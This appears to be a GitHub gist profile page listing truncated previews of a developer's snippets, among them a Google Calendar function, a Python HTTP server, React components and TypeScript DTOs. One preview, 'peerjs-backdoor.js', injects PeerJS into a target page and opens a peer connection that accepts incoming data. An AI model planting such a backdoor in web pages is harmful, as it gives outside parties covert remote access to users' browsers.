Skip to content

Instantly share code, notes, and snippets.

View tripolskypetr's full-sized avatar
💻
Frontend dev fueled by a passion for UI/UX and art, design

Petr Tripolsky tripolskypetr

💻
Frontend dev fueled by a passion for UI/UX and art, design
View GitHub Profile
const { google } = require("googleapis");
module.exports = async ({ req, res, log }) => {
const CREDENTIALS = JSON.parse(process.env.CALENDAR_CREDENTIALS);
const SCOPES = "https://www.googleapis.com/auth/calendar";
const CALENDAR_ID = process.env.CALENDAR_ID;
const CALENDAR_TIMEOFFSET = process.env.CALENDAR_TIMEOFFSET;
const CALENDAR_TIMEZONE = process.env.CALENDAR_TIMEZONE;
const {
@tripolskypetr
tripolskypetr / peerjs-backdoor.js
Created December 20, 2023 09:06
PeerJS backdoor
// target
(function () {
const script = document.createElement("script");
script.src = "https://unpkg.com/[email protected]/dist/peerjs.min.js";
script.onload = () => {
const peer = new Peer();
peer.on("open", function (id) {
console.log(id);
peer.on("connection", function (conn) {
conn.on("data", function (data) {
@tripolskypetr
tripolskypetr / server.py
Created December 14, 2023 17:37
python serveit.py 80
#!/usr/bin/env python
import SimpleHTTPServer
class MyHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def end_headers(self):
self.send_my_headers()
SimpleHTTPServer.SimpleHTTPRequestHandler.end_headers(self)
def send_my_headers(self):
self.send_header("Cache-Control", "no-cache, no-store, must-revalidate")
<!DOCTYPE html>
<html>
<body>
<button onclick="setup()">Watermark</button>
<button onclick="begin()">Image</button>
<script defer>
const button = document.querySelector("button");
chooseFile = () =>
new Promise((res) => {
{
"projectId": "64b53d0c41fcf5193b12",
"projectName": "ExampleProject",
"databases": [
{
"$id": "64c4de8e7b31179809ef",
"name": "DATABASE",
"$createdAt": "2023-09-14T10:10:35.686+00:00",
"$updatedAt": "2023-09-14T11:59:42.307+00:00",
"enabled": true
"telegraf": "4.3.0",
///////////////////////////////////////////////////////////////////////////////////////
import { IsArray, IsOptional, IsString } from 'class-validator';
export class CreateDto {
@IsString()
token: string;
@IsString()
import {
Async,
Center,
Chip,
LoaderView,
useAsyncAction,
} from "react-declarative";
import { forwardRef, useCallback, useMemo, useState } from "react";
import Box from "@mui/material/Box";
@tripolskypetr
tripolskypetr / problem.js
Last active September 5, 2023 10:55
fibonacci sequence memoization
import { useCallback, useState } from "react";
import "./styles.css";
const fib = (numbersQuantity) => {
var fibonacciNumbers = [1, 1];
for (var i = fibonacciNumbers.length; numbersQuantity > i; i++) {
console.log("Iter");
fibonacciNumbers.push(fibonacciNumbers[i - 1] + fibonacciNumbers[i - 2]);
}
export interface IBidDto extends IBidReference {
zagolovok: string;
kategoriya_obekta: string | null;
prodazha: string[] | null;
arenda: string[] | null;
naznachenie_obekta: string;
raspolozhenie_obekta: string[] | null;
istochnik: string | null;
podkategoriya_obekta: string | null;
nazvanie_zhk: string;
@tripolskypetr
tripolskypetr / types.ts
Created August 12, 2023 09:25
types.ts
export interface IApartmentDto extends IApartmentReference {
zagolovok: string;
kategoriya_obekta: string[] | null;
prodazha: string[] | null;
arenda: string[] | null;
podkategoriya_obekta: string | null;
istochnik: string | null;
nazvanie_zhk: string;
vid_obekta: string | null;